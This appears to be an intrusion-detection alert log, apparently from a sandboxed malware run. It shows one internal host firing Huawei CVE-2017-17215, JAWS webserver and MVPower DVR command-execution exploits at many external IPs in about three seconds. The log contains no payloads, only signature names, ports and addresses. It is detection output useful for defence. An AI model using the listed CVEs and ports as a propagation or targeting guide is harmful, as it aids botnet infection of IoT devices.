ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.98.83.218

Timestamp:	06/10/24-15:37:59.948276
SID:	2829579
Source Port:	46442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.229.155.150

Timestamp:	06/10/24-15:38:02.641252
SID:	2835222
Source Port:	47262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.201.89.180

Timestamp:	06/10/24-15:37:59.959524
SID:	2829579
Source Port:	47272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.244.109.56

Timestamp:	06/10/24-15:38:00.245474
SID:	2835222
Source Port:	43920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.26.2.2

Timestamp:	06/10/24-15:37:59.958705
SID:	2835222
Source Port:	44164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.195.94.23

Timestamp:	06/10/24-15:38:00.171881
SID:	2829579
Source Port:	37844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.57.11.197

Timestamp:	06/10/24-15:37:59.925134
SID:	2829579
Source Port:	60470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.19.135.49

Timestamp:	06/10/24-15:38:00.019873
SID:	2835222
Source Port:	41708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.34.17.184

Timestamp:	06/10/24-15:38:02.862438
SID:	2835222
Source Port:	57532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.105.96.234

Timestamp:	06/10/24-15:38:00.193999
SID:	2835222
Source Port:	43578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.47.184.132

Timestamp:	06/10/24-15:38:02.723332
SID:	2835222
Source Port:	47500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.15.16.186

Timestamp:	06/10/24-15:38:00.001255
SID:	2835222
Source Port:	37376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.0.201.185

Timestamp:	06/10/24-15:38:00.190024
SID:	2829579
Source Port:	46504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.54.19.9

Timestamp:	06/10/24-15:38:02.792332
SID:	2829579
Source Port:	51254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.226.229.29

Timestamp:	06/10/24-15:37:59.996136
SID:	2829579
Source Port:	60446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 92.205.159.254

Timestamp:	06/10/24-15:38:02.213753
SID:	2030092
Source Port:	41004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.129.137.220

Timestamp:	06/10/24-15:38:02.494045
SID:	2829579
Source Port:	35882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.11.232.27

Timestamp:	06/10/24-15:38:00.025563
SID:	2835222
Source Port:	40448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 39.251.150.235

Timestamp:	06/10/24-15:37:59.838365
SID:	2030092
Source Port:	34216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 200.227.24.116

Timestamp:	06/10/24-15:37:59.862278
SID:	2025883
Source Port:	43590
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 174.179.145.49

Timestamp:	06/10/24-15:38:02.247958
SID:	2030092
Source Port:	52852
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.89.221

Timestamp:	06/10/24-15:37:59.973058
SID:	2835222
Source Port:	56350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 193.68.253.21

Timestamp:	06/10/24-15:38:02.264600
SID:	2030092
Source Port:	44888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.114.65.8

Timestamp:	06/10/24-15:38:02.501600
SID:	2835222
Source Port:	58548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.104.41.78

Timestamp:	06/10/24-15:38:02.802976
SID:	2829579
Source Port:	45606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.157.72.91

Timestamp:	06/10/24-15:38:02.928461
SID:	2829579
Source Port:	46424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.39.173.119

Timestamp:	06/10/24-15:38:02.775920
SID:	2835222
Source Port:	35870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.24.110.61

Timestamp:	06/10/24-15:38:00.020596
SID:	2829579
Source Port:	56620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.10.140.61

Timestamp:	06/10/24-15:38:00.216411
SID:	2835222
Source Port:	34482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.199.176.162

Timestamp:	06/10/24-15:38:00.162961
SID:	2829579
Source Port:	55306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.238.227.229

Timestamp:	06/10/24-15:38:00.024162
SID:	2829579
Source Port:	52364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.132.123

Timestamp:	06/10/24-15:38:02.821238
SID:	2829579
Source Port:	32890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.23.92

Timestamp:	06/10/24-15:37:59.933051
SID:	2829579
Source Port:	53100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.244.78.206

Timestamp:	06/10/24-15:38:00.003802
SID:	2835222
Source Port:	33756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 219.24.143.221

Timestamp:	06/10/24-15:37:59.842965
SID:	2025883
Source Port:	49276
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.46.185.236

Timestamp:	06/10/24-15:38:02.638444
SID:	2829579
Source Port:	40638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.25.178.38

Timestamp:	06/10/24-15:38:02.498786
SID:	2829579
Source Port:	47358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 134.74.126.54

Timestamp:	06/10/24-15:38:02.160403
SID:	2030092
Source Port:	59562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 147.71.128.26

Timestamp:	06/10/24-15:38:02.157918
SID:	2030092
Source Port:	60478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 161.147.107.200

Timestamp:	06/10/24-15:37:59.822693
SID:	2025883
Source Port:	34326
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.79.171.4

Timestamp:	06/10/24-15:38:00.201249
SID:	2835222
Source Port:	56976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 12.216.25.54

Timestamp:	06/10/24-15:38:02.245245
SID:	2030092
Source Port:	56010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 99.27.23.33

Timestamp:	06/10/24-15:37:59.802263
SID:	2030092
Source Port:	47840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.193.239.253

Timestamp:	06/10/24-15:38:00.218073
SID:	2829579
Source Port:	45262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.168.51.174

Timestamp:	06/10/24-15:38:02.869004
SID:	2835222
Source Port:	39244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 63.62.53.197

Timestamp:	06/10/24-15:38:02.244589
SID:	2030092
Source Port:	55226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.149.203.68

Timestamp:	06/10/24-15:38:02.687592
SID:	2835222
Source Port:	56152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.116.99.196

Timestamp:	06/10/24-15:38:00.181485
SID:	2835222
Source Port:	48948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.18.195.164

Timestamp:	06/10/24-15:37:59.927927
SID:	2829579
Source Port:	41114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.187.204.30

Timestamp:	06/10/24-15:38:02.913437
SID:	2829579
Source Port:	59684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.185.253.184

Timestamp:	06/10/24-15:38:02.726932
SID:	2835222
Source Port:	34468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.147.57.40

Timestamp:	06/10/24-15:38:02.930759
SID:	2835222
Source Port:	33768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.134.197.214

Timestamp:	06/10/24-15:38:02.491066
SID:	2835222
Source Port:	47950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 159.234.223.64

Timestamp:	06/10/24-15:38:02.220012
SID:	2030092
Source Port:	44608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.64.75.27

Timestamp:	06/10/24-15:38:02.498091
SID:	2829579
Source Port:	49488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.177.168.250

Timestamp:	06/10/24-15:38:02.780766
SID:	2835222
Source Port:	57340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 152.83.224.204

Timestamp:	06/10/24-15:37:59.871854
SID:	2025883
Source Port:	39034
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.109.81.128

Timestamp:	06/10/24-15:37:59.988624
SID:	2835222
Source Port:	51130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 106.120.14.251

Timestamp:	06/10/24-15:38:02.125561
SID:	2030092
Source Port:	33280
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.176.59.104

Timestamp:	06/10/24-15:38:00.163693
SID:	2829579
Source Port:	60154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 117.189.134.28

Timestamp:	06/10/24-15:38:02.147216
SID:	2030092
Source Port:	33116
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.42.26.190

Timestamp:	06/10/24-15:38:00.223242
SID:	2829579
Source Port:	50042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.140.104.46

Timestamp:	06/10/24-15:38:02.691059
SID:	2829579
Source Port:	53244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.253.99.100

Timestamp:	06/10/24-15:38:00.035608
SID:	2829579
Source Port:	41890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.2.52.209

Timestamp:	06/10/24-15:38:02.836583
SID:	2835222
Source Port:	33064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 132.254.47.159

Timestamp:	06/10/24-15:38:02.093026
SID:	2025883
Source Port:	47666
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.219.156.112

Timestamp:	06/10/24-15:38:00.132778
SID:	2835222
Source Port:	40686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 211.227.251.93

Timestamp:	06/10/24-15:38:02.303255
SID:	2030092
Source Port:	52004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.192.210.171

Timestamp:	06/10/24-15:37:59.936837
SID:	2835222
Source Port:	47918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 124.198.230.56

Timestamp:	06/10/24-15:37:59.869779
SID:	2025883
Source Port:	56778
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 46.11.146.222

Timestamp:	06/10/24-15:37:59.813573
SID:	2030092
Source Port:	55620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 77.78.60.243

Timestamp:	06/10/24-15:38:02.225841
SID:	2030092
Source Port:	55050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 82.151.58.140

Timestamp:	06/10/24-15:38:02.228512
SID:	2030092
Source Port:	48208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.78.160.7

Timestamp:	06/10/24-15:38:02.640548
SID:	2835222
Source Port:	52172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 111.31.234.213

Timestamp:	06/10/24-15:37:59.818135
SID:	2025883
Source Port:	40194
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.149.87.73

Timestamp:	06/10/24-15:38:02.497343
SID:	2829579
Source Port:	58434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.8.50.69

Timestamp:	06/10/24-15:38:02.865201
SID:	2835222
Source Port:	38730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 158.214.75.80

Timestamp:	06/10/24-15:37:59.804504
SID:	2025883
Source Port:	35958
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.176.22.163

Timestamp:	06/10/24-15:38:00.252450
SID:	2829579
Source Port:	37234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.229.179.187

Timestamp:	06/10/24-15:38:00.253141
SID:	2829579
Source Port:	42484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.132.214.203

Timestamp:	06/10/24-15:38:00.248014
SID:	2835222
Source Port:	34566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.79.80.1

Timestamp:	06/10/24-15:38:02.717243
SID:	2835222
Source Port:	37456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.0.102.53

Timestamp:	06/10/24-15:38:02.804169
SID:	2835222
Source Port:	41386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 74.221.113.140

Timestamp:	06/10/24-15:37:59.829282
SID:	2030092
Source Port:	35066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.192.98.232

Timestamp:	06/10/24-15:38:02.813306
SID:	2829579
Source Port:	50454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.216.238.129

Timestamp:	06/10/24-15:37:59.969655
SID:	2835222
Source Port:	49034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 177.48.23.109

Timestamp:	06/10/24-15:38:02.099888
SID:	2030092
Source Port:	50944
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.234.232.228

Timestamp:	06/10/24-15:37:59.966319
SID:	2829579
Source Port:	41788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.78.178.23

Timestamp:	06/10/24-15:38:02.921767
SID:	2829579
Source Port:	37950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 92.126.239.180

Timestamp:	06/10/24-15:37:59.847523
SID:	2030092
Source Port:	58522
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.6.6.199

Timestamp:	06/10/24-15:38:02.732625
SID:	2829579
Source Port:	45998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.244.102.173

Timestamp:	06/10/24-15:38:02.713903
SID:	2835222
Source Port:	50702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 12.140.219.78

Timestamp:	06/10/24-15:38:02.223515
SID:	2030092
Source Port:	43716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 105.96.207.144

Timestamp:	06/10/24-15:38:02.203856
SID:	2030092
Source Port:	55756
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.16.236.173

Timestamp:	06/10/24-15:38:02.868091
SID:	2829579
Source Port:	40972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 48.136.166.233

Timestamp:	06/10/24-15:38:02.132169
SID:	2030092
Source Port:	37608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.25.119

Timestamp:	06/10/24-15:38:00.012098
SID:	2829579
Source Port:	50268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.69.149.120

Timestamp:	06/10/24-15:38:00.178071
SID:	2829579
Source Port:	44078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.135.103

Timestamp:	06/10/24-15:38:02.768716
SID:	2829579
Source Port:	53660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 135.106.4.49

Timestamp:	06/10/24-15:37:59.874568
SID:	2030092
Source Port:	57824
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.109.88.228

Timestamp:	06/10/24-15:38:00.263049
SID:	2829579
Source Port:	57558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 169.200.159.28

Timestamp:	06/10/24-15:38:02.234846
SID:	2030092
Source Port:	33624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.110.26

Timestamp:	06/10/24-15:38:00.258036
SID:	2829579
Source Port:	52852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.115.124.164

Timestamp:	06/10/24-15:38:02.492497
SID:	2835222
Source Port:	46236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.140.83

Timestamp:	06/10/24-15:38:02.507632
SID:	2835222
Source Port:	60618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.151.209.193

Timestamp:	06/10/24-15:38:02.666292
SID:	2835222
Source Port:	34524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

